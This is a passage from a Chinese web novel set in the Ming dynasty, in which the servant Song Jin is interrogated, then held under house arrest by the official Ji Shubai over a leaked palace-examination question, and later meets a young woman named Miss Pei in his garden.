“你住口!”季舒白气的身子发抖,转身自案台上抓起一根鞭子,指着宋瑾喝道:“你若再敢胡言,休怪本官对你动刑!”
宋瑾看着那根残留着血迹的鞭子,呆了半晌,忽然抬起头来:“大人是打算将我打死在这里么?”
季舒白抓着鞭子的手剧烈颤抖着,几乎抓不稳。
他只是个文官,还不曾对任何人动过刑。
“大人既要动手,又何必等待?只是大人可曾想过,若是我死在这里,大人如何交待?那张纸,若是叫人拾去,后果谁来承担?”
“先不说季大人,申大人已经快五十岁了吧,若是我没有记错,他也是长洲县人,与大人乃是同乡。”
季舒白脚步踉跄着后退了一步,脸色从气得发红变得毫无血色。
“听闻今年的探花变状元,不知道朝中百官作何感想,有些人当真能一手遮天么?”
“你住口!”
季舒白狠狠挥动手中鞭子,只听得啪的一声响,鞭子抽打在宋瑾身上。
四月的天气,衣服并不算单薄,宋瑾尚能承受得住这一鞭子。只是不巧,那鞭子尾巴扫在了宋瑾的脖子上,一条红痕立时出现。
“为何?到底是为何要用这下作的手段来对付我?”
宋瑾忍着痛反问:“若是大人身在我的位置,一生为奴,不得读书识字,不可考取功名,不许与良人通婚,大人是否也要告诉自己安分守己,不可逾矩?前朝称奴为驱口,到我朝才改呼为奴,说白了,在世人眼中我们不过是供人驱使的牲口,若是人人皆可践踏与我,我又何谈自尊自爱?”
“大人问我为何出此下策,做出这些陷害忠良的事来,不过是牛马不想做牛马
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了而已。”
“大人,”两行眼泪从宋瑾眼中滑落:“若要我死,可会给我应有的审讯和罪名?”
“罪名?”季舒白喘着气发问:“你要什么罪名?我问你当日那场火可是你所为?”
宋瑾道:“当日那场火实非我所为,但若不是有人替我点燃,我也会那么做的。于大人而言,纵火燃屋罪大恶极,于我而言,那却是我唯一能向主母表忠心的机会。我要走出去,我要变成有用的人,我要攒银子赎身脱籍,我就是想离开那个院子,过一过人的日子而已。”
说到最后,宋瑾几乎是嘶声力竭地喊出来。
“人的日子?在你眼里,什么才叫人的日子?”
宋瑾几乎没有任何停顿地答道:“吃的上饭,睡的好觉。春天出去看春花,夏天在家吃棒冰,秋天院里扫落叶,冬天怀中抱火炉,这就是人的日子,这就是我要的日子。”
季舒白觉得身子发软,宋瑾所要的日子何其简单,又何其艰难。谁不想过那样的日子,可是又有多少人能过上那样的日子?
“上月初五大人休沐,与友人同行踏春,想必见过极好的春光。可惜了,那漫山遍野的春光与我从来无关。只因为我是奴,我要听从主人的话,我要从早做工到晚,我起早摸黑杀鸡煮鸡,我的一天都围着灶台打转,可我不甘心。”
“我一天里最快乐的时候就是从食鼎楼到公廨的那段路,在那段路上没有开水烫过鸡毛的气味,有时候我甚至能闻到花香。”
“大人可知道身上永远有鸡毛的味道是何感受?”
宋瑾说着说着,声音渐渐轻下来,眼神呆呆地看向门口,像是在质问,又像是陷入悲伤的回忆里。
“你以为这种日子以后还会有么?”
宋瑾木然地眨眼:“不会有了,得罪了季大人,当然什么都不会有了。”
宋瑾转过头来看向季舒白:“临死之前我只求季大人一件事,给我应有的罪名和审问,而不是让我在这里无声无息地死去,大人可敢?”
季舒白瘫坐在椅子上,头低垂着,叫人看不清表情。
他最怕的事情。
“什么三德,什么正直,不过都是你的手段罢了。”季舒白茫然地抬起头来,脸上带着绝望的笑容:“你在逼我。”
宋瑾眼眶发烫:“若是能选,谁不想好好做人?”
“可你......”季舒白的声音带着哽咽:“你牵连太多无辜,你罪不可恕!你做出这种事情来,就没有一点愧疚之心么?”
“愧疚?”宋瑾嗤笑一声:“昔年成祖皇帝夺位,太常寺卿黄大人效忠建文帝,密谋举事,结果被俘,满门皆斩,女眷受辱,又被送入教坊司,自己更受车裂之刑。可到了仁宗皇帝时,又大赦,为其平反,放出官奴成为良民。季大人你来告诉我,黄子澄到底有罪没罪?成祖皇帝他愧疚不愧疚?”
“洪武皇帝创建我大明王朝,可是之后呢?那些功臣杀尽了杀绝了,杀到血流成河了。季大人,你告诉我,谁曾愧疚过?”
“于大人而言,我不过是千万个家奴之一,于我而言,大人不过是这大明王朝被冤死的无数亡魂之一。大人觉得无能为力,我也觉得不必愧疚。”
季舒白坐在那里,任由宋瑾一声声质问着,神情没有了刚刚的激动与愤怒,反而平静了许多。
“你不是要脱籍,你这是要拉人陪葬。”
“不,季大人,我真的是太想活着了。”
61. 软禁
季舒白瘫坐在椅子上,宋瑾被绑在柱子上。
想问的都问了,一个答案也没得到。
想骂的都骂了,一丝怜悯也没得到。
季舒白缓缓起身,向宋瑾走来:“这里的刑罚,你过不了的。”
“大人何必动刑,找个理由将我放出,然后命人截杀便好了。干干净净,没有后顾之忧,也可保大人名声。”
“东西呢?”
季舒白执着于那张纸,可宋瑾死活不松口。
“你若不说......”
“舒白兄?”
门口传来一声惊呼,季舒白回头看去,竟是卢俊年来了。
“卢大人?”
“你怎么一个人审问?”卢俊年匆匆走来,面色焦急。
这不合规矩。
季舒白听见质问,沉默着垂下了头。
卢俊年见状,将人拉开到一边,压低声音说话:“新官上任三把火,咱们这位知府才来多久,你也不怕他拿你开刀。”说话间回头看了一眼被捆住的宋瑾:“他是什么罪名?”
季舒白沉默片刻道:“没什么罪名,私仇而已。”
“你疯啦?”卢俊年急的要死:“你是知州,因私仇监禁平人,你知不知道后果?”
季舒白闭眼叹息:“知道,不过他......”
“知道你还做?”
季舒白无言,卢俊年道:“你先出去,此事我来办。”
“你要怎么办?”
“你别管了,快出去。”说完将季舒白往外头推去,自己则来到宋瑾面前,原本有些慌张的脸上硬挤出温和模样来。
“你不是食鼎楼的掌柜嘛?”语气轻快。
宋瑾冷冷道:“我早已不是。”
“这是为何?”卢俊年捻着胡须问,宋瑾却不想答,将头撇向一边,正好露出脖子上的红痕来。
动刑了,这是卢俊年没有想到的。
“哎哟,你这,哎哟——”
卢俊年本想安抚一下宋瑾,免得给季舒白添麻烦,谁知手刚想往脖子上碰去,忽然哎哟一声向后跳开。
“你是个女的?”
门外的季舒白听见叫喊,也跑了进来:“怎么回事?”
“她是个女的?”卢俊年手指着宋瑾,一脸的不可置信。
“不是啊,他是......你说她是女的?”
轮到季舒白一脸不可置信,而卢俊年拿手指拼命指着自己的脖子,喉咙处一个凸出喉结上下翻滚着。
反观宋瑾,光滑无比。
“你是女的?”
“大人你有点瞎。”
她又骂他,季舒白火不打一处来,怒斥道:“你怎的不早说?”
“说了大人就会放过我么?”
季舒白气结,可是眼下怎么办?
关,肯定是不行的,若是让家人带回家看管,理由呢?他不能给的。万一闹出科考舞弊的事来,不知道要牵连多少人,连自己也逃不过。
“我会放你出去。”季舒白眯着眼睛,说出来的话让宋瑾惊讶无比。
“你会放过我?”
季舒白却没有答她,只说:“只要你安安分分,自有你的活路。”
宋瑾忙不迭答应:“一定一定,不过大人,你能不能帮我脱籍啊?”
“你闭嘴!”
临了宋瑾也不忘脱籍,可是季舒白没有答应她。但是在宋瑾看来,只要破了原则,有了漏洞,那就好进攻许多。
如今季舒白为了自己也好,为了申时行也好,为了谁都好,总之,他没有将这个案子闹大,在那张纸没有被找到之前,她就安全,就有谈判的余地。
季舒白永远也找不到那张纸的。
季舒白沉着脸要把宋瑾送出去,可宋瑾盯着桌上那包银子不挪步。
“大人,我的......”
那就是她的另一条命。
“等我拿到东西再还你。”
学坏了,一件事学坏了后,件件事都跟着坏。
“什么东西啊?”
只有卢俊年搞不清楚状况。
季舒白不解释,叫了自己的小厮来送宋瑾离开,宋瑾离了那间满是刑具的屋子后顿时觉得整个人都活了过来。
这一关她是熬过来了,就看接下来了。
可是不曾想,那小厮将她送出府衙后直接引进了一顶轿子里。
宋瑾磨磨蹭蹭的不肯上:“食鼎楼离的挺近的......”
“不是去食鼎楼。”
那小厮微笑着说话,宋瑾太明白那笑容背后的意思了,不禁心头一紧。
完了,她想,这是要私了啊,她死定了。
“呵呵,我得回食鼎楼看看,里头有些乱,我得帮着收拾收拾。”
那小厮依旧是那副表情:“食鼎楼的人都放回去了,您若是要回去亲自收拾,那小人就去把他们请回来。”
“不用不用,”宋瑾慌忙摆手:“我跟你们走。”
一顶小轿抬着宋瑾走在街上,宋瑾心中慌乱如麻。在牢里说的英勇无比,什么半道截杀便好,一副视死如归的样子,可是出了门见着这四月的阳光后,她真心觉得活着才是最好的。
怎么才能活呢?
轿子在路上走了半晌,最后在一条巷子深处停了下来,那小厮掀开轿帘,将宋瑾引进一座宅院里。
宅院不大,宋瑾只一眼就能看出来,没有轿厅,没有茶厅,进门拐个弯便是天井,两侧各种了一株海棠。四月的海棠花已过半,此刻粉粉绿绿的挂在枝头,也是风景。
天井连着一间三开门的厅,两侧有屋,宋瑾猜是下人住的地方。
正厅里的陈设没有什么特别之处,一张翘头案上左右各摆着一只青花缠枝纹天球花瓶,中间一方紫檀木边座的嵌瓷白地青花山水图的插屏,上方挂着一幅松石图,两侧有对联,宋瑾没去细看内容,眼神继续扫向其他陈设。
贴着翘头案的是一张八仙桌,两侧各一张太师椅,模样简单,雕刻也未见精工。
下方两侧三对圈椅,中间用方几隔着,贴墙各一张月牙桌,凑到一起才完整,顶悬宫灯,模样倒是很新,似是新挂上去的。
待宋瑾的视线往顶上看去时,才发现上面挂了一个匾额,写着“承志堂”三个字。
总的来说,这里有些简陋了,比柴家,比柏家,比府衙的公廨都要简陋一些。东西都有,可除了那插屏,宋瑾瞧不出什么费尽心思的东西来。
从厅后面绕出来后便进入了一间小小的花园,最先映入眼帘的是一片芙蓉,可惜花季未到,目前只是绿叶葱葱。
那小厮领着她从廊下走,穿过一个月洞门后进入一间小小的院子。院子里种着紫薇花,花苞打了不少,压得枝头往下坠着。
“姑娘,我家大人说了,您先住在这里,等他回来还有话要问您。”
“回来?”
宋瑾明白过来,这是季家。
“您安心等着便是,有什么需要可以去前头找人,只是别出门便好。”
软禁。
宋瑾心想,这季舒白跟她说了会子话,也跟着学坏了,她真不是个好榜样。
那小厮将宋瑾安排好后便离了这院子,宋瑾一人站在院中思索着。
进门时两侧有屋,约莫是下人住处,还有门人,她要想从正门出去是万万不行的。
爬墙?
宋瑾扫了一眼周围,院墙不算特别高,问题出在院墙顶端的瓦上,整整齐齐的码了一整排,她不确定自己爬上去后不会把瓦给砸下来,惊了人到时候还是功亏一篑。
算了,宋瑾想着,她的
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本意也不是逃过季舒白,而是脱籍,是自由,逃了就只能变流民了。
在这大明,她一个女子变流民,那惨状只怕也不比黄子澄家的女眷好到哪里去。
宋瑾这样想着,迈着步子进了正屋,屋子比她想象的要小。
表面看来是正屋,实际连着卧室与书房。正对着门的是一张条案与八仙桌太师椅,陈设与正厅无异。右边贴墙角摆着一张架子床,用床罩与正屋隔开,床上挂着青纱帐,下面一方木脚踏。
贴着床的是一张立柜,看起来是放衣服用的,贴着窗户的是一张桌子,宋瑾猜有梳妆的作用,毕竟旁边就摆着一个脸盆架。
左侧用八角罩隔开,帘子向两侧挂起,她能直接看见里面。
贴墙一张书架,上面摆放了不少书籍,前面摆着一张书桌,一张太师椅,文房四宝样样齐全。
这是个读书人的屋子。
宋瑾还要仔细看下去,可是眼下天已快要黑了,下午又受了惊吓,眼下只觉得又困又饿,于是转头往卧室去了。
床品很好,松软的很,似乎才被晒过,带着阳光的味道。被面是丝绸质地,摸起来滑滑的,凉凉的,虽有些旧,但能看出是好料子。
自打来到这个世界,她连这样的被子都没铺过呢,更别提睡了。
宋瑾歪着身子正要往床上躺去,忽听一个声音传来。
“等等,先别睡。”
宋瑾循着声音看去,就见一个头发有些泛白的婆子端着一碗面从外头走了进来。
“这被子我给你换换,你吃了面再睡。”
那婆子将面碗摆在八仙桌上,一股淡淡的猪油香气飘来,宋瑾没忍住,挪着步子走了过去。
婆子年岁不小,手脚却很利落,很快便将那床被子拢了起来,抱着出门去了。
宋瑾埋头吃面,心中万分不爽。
一床缎面的被子而已,给她睡一晚怎么了?小气!
宋瑾饿的很,那碗面很快见了底,彼时那婆子也抱着一床新的被褥回来了。
依旧是缎子面的,甚至比刚刚那床更新。
宋瑾惊讶于自己竟生出一丝愧疚之心来,她舔了舔唇,走过去道:“我来帮您。”
“不用不用,你去吃面,坨了就不好吃了。”
宋瑾不好意思地笑笑:“我吃完了。”
那婆子听了这话不禁有些惊讶起来,转头去看那碗,果然吃得干干净净,再吃就要舔碗底了。
“可吃饱了?要不要再添一碗?”
“不了,我饱了。”
宋瑾一边帮着铺床,一边与婆子闲聊,得知那婆子姓陈,院里的人都唤她陈妈妈。夫主是这里的门人,她则负责上灶,两人一起看管这院子几十年了。
宋瑾这才想起在这院中不曾见过他们之外的下人,好奇心驱使她问了起来。
“这院子曾经也是极热闹的,后来我家老爷去了福建,再后来......”婆子说话声轻了些,也慢了些:“后来只有夫人和小主人回来了,这院子便冷清了下来。如今小主人长大了,本以为娶妻生子,这院子就会重新热闹起来,谁曾想,唉——”
陈妈妈重重叹了口气道:“如今我也只盼着.......唉,你是谁呀?我家小主人说你是女子,叫你住下,他为什么叫你住下?可是你们......”
“不不不不不,”宋瑾连忙摆手解释:“我与你家小主人不是那样的关系。”
这陈妈妈,说话也太跳了。
“是么?太可惜了。”语气竟带着些遗憾,可是很快话锋一转:“不是也好,你太瘦了,也不好生养。”
说完又开始嘀嘀咕咕说些娶妻生孩子的事情,什么要稍胖一些,屁股要大一些,性子要温柔些......
宋瑾徒手搓了把脸,站到一边去了。
62. 遗言
宋瑾一直纳闷季舒白这一大把年纪了,怎么还不娶妻,可是一看陈妈妈那唠叨的样子,又实在问不出口了。
外头天黑了,她也困了,急急忙忙地要了一些热水清洗后便解衣上床去睡觉。
这一夜,宋瑾睡的极沉,以至于第二日早间季舒白回来后她依然还在睡着。
打满花苞的蔷薇树下站着阴沉着脸的季舒白,而宋瑾在房中呼呼大睡,全然不知外头的人已经怒气冲天。
“大人,要不要让陈妈妈来把人唤起来?”
“她居然......她居然还睡的着,去,叫陈妈妈把人给我打起来。”
陈妈妈进来的时候,床帐依然合在一起,她走上前去一看,睡得四仰八叉。
“姑娘?姑娘?”
陈妈妈推了推宋瑾,然而毫无反应,她只好加大力气,然后宋瑾翻了个身。
在季家,在这个院子里,她不再是奴,不必伺候人,也不必起早杀鸡。身子干净,被褥松软,这是她来到这个世界后睡得最香的一天。
陈妈妈见唤不醒人,只好独自出去回话。
“小主人,人睡的香着呢,叫不醒,要不由她再睡会儿?”
季舒白三十岁了,已是朝中五品的官员,然而陈妈妈依旧习惯唤他小主人。从前季舒白叫她改口,她总说等季舒白有了孩子,她有了新的小主人再改口也不迟,季舒白也就不再提这件事了。
因为宋瑾做下的事,季舒白一夜未睡,一早便赶回来继续问话,然而宋瑾却在大睡特睡,季舒白顿时火冒三丈,却又无可奈何,总不能亲自冲进去吧,她还睡着呢。
“陈妈妈,烦您帮我煮个东西吧。”
季舒白吩咐陈妈妈去煮东西,自己则叫小厮青杉搬了把交椅和方几在紫薇树下坐着喝茶。
他倒要看看这个宋瑾能睡到几时。
宋瑾醒来的时候已经日上三竿,迷迷蒙蒙睁开眼,过了半晌才想起来自己在哪儿,于是起身穿衣,抱着脸盆出去找水洗漱。
结果刚打开门,一道刺眼的光线照得她睁不开眼,只好用手挡住,隔着指缝,她看见院中坐着一个人。
头发拢起,用一个青玉发冠束着,后脑上可见佩戴了网巾,身上一袭月白色袍子。春光照着,花香飘着,竟有些光风霁月的样子在。
那人背对着宋瑾,叫她看不清脸,宋瑾也不知是怎么想的,竟绕到前头去看脸。这一看受惊不小,手上的脸盆哐的一声落了地,在地上打着转的响。
“季大人?”
什么光风霁月,分明是冤家对头。
“肯起了?”
季舒白的语气不大好,宋瑾浑身上下一通乱摸,确认自己是穿戴整齐出门后才放下心来。
“您怎么在这呀?”
“这是我家。”
宋瑾撇撇嘴:“知道。”
“那你知不知道我还要问话?”
宋瑾垂着头:“知道。”
“那你......”季舒白气的想骂人,可是看宋瑾声音越来越低,只好压下怒火:“快去洗漱。”
宋瑾哦了一声,从地上捡起盆便往外头跑去,等洗漱好回来时,季舒白面色已然平静下来。
宋瑾站在那里,一时竟不知如何行礼,而季舒白似乎也不打算跟她计较。
“本官今日重新问话,你想好了回答,若是再敢撒谎,我连食鼎楼众人一起发落。”
宋瑾重重点头。
“你的姓名,出身,经历,本官都要知道。”
宋瑾垂着头,细细想着蔓草的经历,一五一十地说了出来,除去死亡和穿越,全是实话。
“你是说,从前你并不识字,是高烧之时神游清虚天后才开始识字的?”
季舒白踱着步子走到宋瑾面前问话,宋瑾连连点头称是。
“那好,我问你,除去《尚书》,你还读了什么?”
宋瑾有些紧张起来,面对眼前的进士,命题作业她勉勉强强,开放试题反而不会了。
“也......也不多,一点点而已。”
季舒白一双眼睛死死盯住她:“该忘的不忘,不该忘的倒忘了个干净。”
宋瑾知他说的是《天地阴阳交欢大乐赋》,却根本不敢接话。
如今她已是女儿身了,有些话实在不便对季舒白说。
“本官再问你,”季舒白的声音冷峻又严肃:“你从何处知晓的题目?”
宋瑾有些犹豫起来,不圆谎他难信,圆了谎往后怎么办?
季舒白见她犹豫,率先说起来:“据我所知,今年殿试是在三月二十四日,而申大人奉命出题是在三月二十三日,你骗我写下题目是在三月初五日。你来告诉我,你是如何提前那么久知道殿试题目的?若是这一题你答不上来,本官定不会放过你。”
宋瑾舔了舔发干的嘴唇,猜到他昨夜不归定是四处打探去了。她深吸一口气,似是鼓起了很大的勇气抬头道:“我猜的。”
季舒白愣住了。
“起先我也并不知道那是殿试题目,只是想出题,谁知那日听起店中食客谈起今年的状元,好奇打听了下,便知道了今年的题目。我想脱籍,就将那张纸藏起来了,只是想求大人帮忙脱籍,并没有要害大人的意思。”
“你昨日在牢里可不是这么说的。”
宋瑾支支吾吾:“真的......真的只是想脱籍......”
接着她便听见季舒白轻不可闻地舒了口气:“那好,告诉我那张纸在哪里,我便信你。”
“若是大人掘地三尺都找不见,那定是安全的。”
季舒白明白过来,这人不见兔子不撒鹰,不脱籍不给题。
“你当真要威胁一个五品官员?”
宋瑾觉得身上皮都紧了些:“......不敢。”
“你已经做了。”
宋瑾无法,垂着头几乎哭出来:“真的......只是想脱籍......”
“你以为我会信你的那些理由么?”
宋瑾不用抬头去看,也能感受到季舒白的愤怒。
“大人,”身后一个声音传来,是季舒白身边的小厮青杉:“您要的东西熬好了。”
一碗味道浓郁的汤药摆在方几上,宋瑾差点儿魂飞魄散。
“......大......大人?”
季舒白慢悠悠坐进交椅里:“你昨日不是很英勇爽利么,什么半道截杀,干干净净。本官昨夜想了一整夜,觉得这确实是个好法子,所以我一早命人煮了这碗汤药给你,好送你上路。”
“上......上路?”
宋瑾觉得或许是自己搞错了,她没穿进大明,而是穿进了《水浒》。
“大人,何至于如此呀?”宋瑾哀嚎着,两行眼泪不争气地往下掉。
“你利用本官,陷害忠良,即使本官今日不处罚你,将来也必成祸患,不如今日便除了你。”
“你也说了,那张纸本官找不到,别人定也找不到,那便不足为惧。”
“大人,”宋瑾继续哀嚎:“万一呢?万一呢?”
“若有万一,你更该死!”
“啊——”宋瑾扯着嗓子哭,哭的季舒白眉头直皱。
“不是你说的,宁愿死在本官手中。”
“啊——”哭声更甚,直到她被自己呛住。
宋瑾被气息呛到,咳了好几嗓子,还故意加大了声音,咳的脸都红
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了,然而季舒白也只是坐直了身子,并没有要改变想法的意思。
宋瑾彻底明白过来,季舒白不会改变了。
她拖着脚步挪过去,看着那碗汤药,黑乎乎的,难闻死了。
“大人......”宋瑾恢复了平静,低声哀求:“我......奴家如今就要死去了,还有些话要说,可否容奴家说完。”
“你说。”季舒白放松了身子,重新躺回交椅里,宋瑾甚至看见他翘起了二郎腿。
“此事是奴家一人的主意,与......”
“本官不会为难食鼎楼的其他人。”
宋瑾垂着头继续道:“我爹娘年岁已大......”
“那包银子本官会交到二老手上。”
每每宋瑾还没说完,季舒白就已经替她想好对策了,宋瑾手指摸着碗沿,磨磨蹭蹭地想遗言。
“大人,眼下已是四月天气,春末夏初的风光也是极好的,就不能......”
“不能。”
宋瑾撇着嘴,这回是真的要哭出来了。
“季大人......我错了,我以后再也不敢了......呜呜呜......”
“季大人,我才十八岁,我还没活够......”
......
然而季舒白不为所动,就那么静静地看着她哭。
宋瑾抽噎了两下,终于端起碗来:“季大人,您不必担心,那张纸奴婢真的藏的很好,不会影响大人前途的。”
季舒白的眼睛眯了眯。
“季大人,你是个好官,你以后......”
“你到底喝不喝?”
季舒白有些不耐烦起来,宋瑾闭着眼,眼泪往下直落。
哪有催人家上路的?
宋瑾端着碗的手微微颤抖,碗沿碰到双唇,热乎乎的。
宋瑾闭着眼,也闭着嘴,不肯叫那汤药流进嘴里,忽然见她双目一睁:
“大人,我死后埋哪儿呀?”
“你......”季舒白气的不轻,站起身喝道:“你给我喝了。”
宋瑾继续嘀咕:“奴家是想,若死在大人家中,岂不是会给大人带来麻烦,不如我出去死?”
季舒白双目紧闭,眉头紧拧,一双手握成拳头贴在身侧:“你给我喝了!”
咬牙切齿。
“我是想......”
“喝!”
宋瑾不敢再捣乱,只好闭着眼睛将那碗药往嘴里送,就在季舒白松了口气时,忽听噗的一声,宋瑾喷出一大口药来,手上那只碗也跟着跌了下去。
清脆一声响,那碗砸了个粉碎,汤药流了一地。
季舒白就站在宋瑾面前,胸前喷湿一大片,黑乎乎的汤药洒在月白色袍子上,分外惹眼。
他咬着牙,闭着眼,压着火气,等他终于睁开眼时,就见宋瑾吐着舌尖,说出一个含糊不清的字来。
“......烫。”
说完还用袖子抹了下嘴,一滴也不肯喝下去。
“既然如此惜命,又何必做出这些不要命的事来。”
宋瑾闭口不答,季舒白一甩袖子:“你就留在这里好好反思反思。”
季舒白走了,院中只剩下宋瑾和地上几块碎瓷片。
宋瑾觉得这事不怪她,要杀人不会用预制药么?这热乎乎现熬的不烫才怪,怎么能怪她呢?
至于反思,不是没死人么,没死人有什么好反思的?
想到这里,宋瑾的心安下来,捡起地上的碎瓷片,欢欢喜喜地往前头找吃的去了。
季舒白叫她反思,那就是不杀了呗。
宋瑾知道这回她是真的活下来了。
63. 姑娘
宋瑾感觉到侥幸,侥幸季舒白不是一个狠辣的人,侥幸季舒白不是潘金莲,侥幸自己在大明,而不是在《水浒》。
他到底是个守规矩的人,一杀不成也就弃了,而不是把人捆了硬灌。
自打来到这个世界,宋瑾觉得自己对好人的要求越来越低,低到让她自己喝毒药,而不是让人灌毒药都是好人,这可不是什么好现象。
她得想办法尽快把这事给了了,好摆脱这场软禁。
宋瑾的肚子咕噜咕噜叫,催着她往厨房里头跑,一路抱怨这里没有垃圾桶,只能去厨房扔东西。可是刚到厨房,她便闻到熟悉的味道。
陈妈妈正蹲在炉子边,拿着一把扇子扇火,炉子上的瓦罐里飘出熟悉的味道。
老太太熬毒药熬的兢兢业业。
宋瑾垮着一张脸呆站在门口,好人结论下早了。
“姑娘来了?刚刚你急急巴巴的,早饭都没吃呢,我给你煮面吃啊。”
宋瑾:“......”
“嗳,这碗怎的碎了?汤药可喝过了?特意给你熬的。”
宋瑾觉得浑身都僵住了。
“一大早小主人回来就说给你熬药,这药啊一日三服,补身子是极好的。”
补身子?不是杀人么?
“你那腿啊,得寻大夫来瞧,否则一个姑娘家的,带着瘸就不好了。”
宋瑾:“......”
骗子!害她哭成那鬼样子,那张嘴把话说清楚很难么?居然吓唬她,咒他下辈子投胎成哑巴。
宋瑾默默地在厨房吃了碗面,不知道陈妈妈是不是不常见外人,话是又密又多。
“昨儿睡的如何?”
“面好吃嘛?”
“脖子上的伤哪里来的?”
“跟我家小主人如何认识的?”
......
直到宋瑾吃完面,那陈妈妈还在说话。
“你就在这院里,别乱跑,小主人说了,叫你别出门。我让我家老头子去请大夫了,一会儿便回。你这身衣裳也不好,有味儿,我给你寻身衣裳换了。”
陈妈妈说完便往里头去了,宋瑾见人出了视线抬腿就往外头跑。
季舒白没想杀她,那就是心软了,正是进攻的好时机,她不能在这里干耗着,得主动出击。
厨房离大门不远,宋瑾几步就跑到了天井,拐弯便是大门,门人去请大夫了,此刻正空着,正好逃出去。
然而一拐弯,宋瑾立刻站住了。
门口确实没有门人,然而两个官差正守在那里。
“回去回去,”那两人毫不客气地把宋瑾往回赶:“季大人说了,你不能出门,回去。”
公权私用,无耻至极!
宋瑾怏怏地又回去了。
陈妈妈帮宋瑾找了一身旧衣裳,蓝色的棉布料子,不鲜亮,但干净,勉强合身。
“这个呀,是我家小主人少时穿的衣裳,旧了,也小了,你别嫌弃。”
“宅上没有闺女,夫人的旧衣裳可不好给你穿,老身的你也穿不上,这件旧衣你将就下。”
宋瑾有些惊讶,在她印象里,季舒白不是一个穷人,怎么会穿洗到发白的棉布衣裳,而且还保留了这么多年。
陈妈妈倒是给了她解释。
“我家小主人念旧,而且这衣裳是当年夫人做给他的,他不舍得赏人。”
提起夫人,宋瑾想起来,季舒白的爹娘俱已不在了,不免心下好奇起来。
“季大人年岁也不大,为何爹娘都故去了?”
谁知一向话多的陈妈妈听了这个问题,却不是很想回答的样子。
“我家小主人不喜欢我跟人提起这些,你也别问了,更别在他面前问起。”
宋瑾乖乖闭了嘴,自己抱着那身旧衣裳去洗了。
宋瑾出不了门,也没事做,昨日她只去了厅里和她住的那个小院子,其他地方还不曾见过,今日作不得怪,索性在这院子里逛了起来。
假山,湖泊,游廊,曲桥,幽亭一个不少,宋瑾甚至看出那门上的浮雕,当真是花样百出。
从布局和大小来看,曾经是个不错的人家,宋瑾记得罗大人说过,季舒白的父亲是福建海道提督,应当是个不小的官职,可是与屋里的家具又对应不上。宋瑾看出来木料便宜,做工简单,有些地方的漆还被反复修补过。
怪怪的。
宋瑾背着一双手在这院子里闲逛着,下人极少,她几乎没有阻拦地在这院里走动,只要不出门,没人拦她。
她就这么逛着,直到在那曲桥的尽头见到一个白衣女子。
宋瑾离得有些远,只见到那女子背影,一身白衣,看起来是盛装打扮过的。
季家的后院里有个女子?
不是没成亲么?
宋瑾好奇起来,抬着脚步就走了过去,那女子似乎也听见声音,转过头来便瞧见了宋瑾。
只一眼,宋瑾便明白这世上的舔狗自有他的道理。
但见那女子银盘脸,杏仁眼,一双红唇欲启未启,鼻子小巧挺拔,鼻尖却带着一点钝,给她一张丰盈的脸上平添一丝天真。
至于其他,宋瑾全没看见,她的视线完全被那双眼睛给勾走了。
水汪汪的大圆眼,瞳仁墨黑,睫毛纤长,此刻正疑惑地看向她。
“你是?”
宋瑾问着话,那姑娘似乎受了惊吓,后退半步,双手放在身前揪着一方霞光红的帕子,眼睛转而看向地面:“奴家来找季哥哥。”
声音清甜温润,唯独那话宋瑾不大爱听。
季哥哥,她差点儿起了一身鸡皮疙瘩。
不过转念一想,立刻明白过来。
什么哥哥妹妹,季舒白还没成亲,十有八九冲着亲事来的,只是不知道这箭头是谁指向谁。
“你季哥哥呀,他出去了。”
宋瑾语调轻松,迈开步子朝那女子走去,却见那女子却脸上一红,又退了半步。宋瑾觉察出来,立在原地不走了。
“那公子可知季哥哥几时回来?”
那女子不抬头,宋瑾有些失望。
“应当......很快吧,我也不知道呢,要不你再等等。”
她闲的慌,乐意找个美人说话。可那女子却把身子一侧,就要往桥上走去,一阵幽香传来。
“姑娘要去哪里?”
那姑娘脚步略停:“奴家去前头等便好。”
宋瑾急了,大美人还没看够呢。
“那我陪你啊。”
那姑娘身子一顿,声音里带着紧张,随即加快了脚步:“就不麻烦公子了。”
宋瑾:“......”
有那么一瞬,宋瑾想要不干脆告诉她自己也是个女子,又怕闹出误会来,毕竟自己就觉得这女子与季舒白定是那种关系。
她看着那女子的身影走远,明白自己开了一个极糟糕的头,那姑娘不会以为自己是色鬼吧?
宋瑾知道自己没注意身份,只好远远地跟在后头。那女子走了一阵后才回头去看,就看见宋瑾远远地跟着。
那姑娘看看前头,又看看后头,犹豫不决。
“姑娘,可要在下陪你说话等呀?”
宋瑾总结教训,不往前走,只站在一棵树上同她说话,免得又惊着人家。
那姑娘不答,只是站在原地垂着头,不进也不退。
宋瑾又走近些,用手指向一个小花园:“姑娘,那头有张桌子,要不要坐着等。”
那姑娘犹犹豫豫,终于走了过去,在一张石凳上坐了。
宋瑾站在小花园入口处同她说话:“姑娘,不知道如何称呼呀?”
“奴家姓裴。”声音虽低,却没有了之前的慌张,大约是看出来送宋瑾并没有走近的打算。
“原来是裴姑娘,在下姓宋。”宋瑾嘻嘻笑着说话,“你来找你家季哥哥什么事呀?”
那裴姑娘脸腾地一红:“不......不是什么奴家的......”
宋瑾知道又说错话了,索性再也不提季舒白:“姑娘,一个人来的嘛?”
“乳母在厅里等着奴家呢。”
“可有急事?”
那姑娘微微转了转身子,并不答话,宋瑾猜是不好说。
“姑娘若是不急着走,那在下陪姑娘说说话?”
那姑娘微微侧头,上下打量了一下宋瑾:“公子也是来找季哥哥的?”
宋瑾笑道:“我住这里。”那姑娘略显诧异,宋瑾忙补充:“我与你那位季哥哥乃是过命之交。”
宋瑾觉得这话没错,他俩都有点想把对方弄死。
“那便是季哥哥的至交了。”
宋瑾只是笑笑,不反驳也不承认,姑娘倒是放松了些警惕,开始有一搭没一搭地说话,宋瑾也渐渐了解了这姑娘的情形。
姑娘姓裴,姨母乃是季舒白的伯母,至于她为何来找季舒白,那姑娘却不肯答,宋瑾也就不问了。
“你季哥哥今儿未必会回来呢,若真有急事不妨去公廨里头找他。”宋瑾美人看的差不多了,说话正经了不少。
“我知道,我不去公廨,就在这里等。”
“为何?”
姑娘又是不答,只是看看天,快午时了。
“姑娘可要留下来用饭?得跟......”
“不了,我再坐坐便走。”
宋瑾觉得这姑娘就是在耗时间,于是指着对面一张凳子问她:“姑娘可否允许在下坐着说话。”
那姑娘用帕子掩着唇,不说好,也不说不好,宋瑾便自行走过去坐下了。
“姑娘平日里都做些什么呀?”
“不过做些针黹女工罢了。”说完又问:“公子呢?”
宋瑾实在不太喜欢自己那个家生子的身份,于是谎言张口便来:“在下从前做水手。”
“水手?”那姑娘转动着眼珠,似乎不大理解。
“就是出海做生意,卖东西。”
